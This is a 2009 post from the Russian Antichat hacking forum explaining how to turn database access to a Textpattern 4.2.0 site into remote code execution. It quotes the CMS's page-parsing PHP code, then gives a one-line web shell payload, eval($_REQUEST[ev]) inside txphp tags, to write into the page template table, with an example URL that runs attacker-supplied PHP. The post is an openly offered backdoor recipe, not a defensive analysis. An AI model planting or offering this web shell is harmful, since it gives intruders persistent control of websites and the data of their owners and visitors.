Показать сообщение отдельно

  #240  
Старый 02.12.2009, 23:04
AFoST
Members of Antichat - Level 5
Регистрация: 28.05.2007
Сообщений: 729
С нами: 9976706

Репутация: 1934


По умолчанию

Textpattern 4.2.0 тут скачать

Eval
доступ к бд и права редактирования.
Это если других способов заливки нету, то читаем дальше...

PHP код:
publish.php
...
        
$html safe_field('user_html','txp_page',"name='".doSlash($pretext['page'])."'"false);
        if (!
$html)
            
txp_die(gTxt('unknown_section'), '404');

        
// useful for clean urls with error-handlers
        
txp_status_header('200 OK');

        
trace_add('['.gTxt('page').': '.$pretext['page'].']');
        
set_error_handler("tagErrorHandler");
        
$pretext['secondpass'] = false;
        
$html parse($html);
        
$pretext['secondpass'] = true;
        
trace_add('[ ~~~ '.gTxt('secondpass').' ~~~ ]');
        
$html parse($html); // the function so nice, he ran it twice
        
if ($prefs['allow_page_php_scripting']) $html evalString($html);
...        
    function 
evalString($html)
    {
        global 
$prefs;
        if (
strpos($htmlchr(60).'?php') !== false) {
            
trigger_error(gTxt('raw_php_deprecated'), E_USER_WARNING);
            if (!empty(
$prefs['allow_raw_php_scripting']))
                
$html = eval(' ?'.chr(62).$html.chr(60).'?php ');
            else
                
trigger_error(gTxt('raw_php_disabled'), E_USER_WARNING);
        }
        return 
$html;
    }
... 
если есть доступ к бд то редактируем
таблица textpattern_txp_page ---> поле default
вписываем <txphp> eval($_REQUEST[ev]); </txphp>
и имеем выполнение кода.
http://textpattern/?ev=phpinfo();
__________________
Появляюсь редко. Важные дела в реале.
 
Ответить с цитированием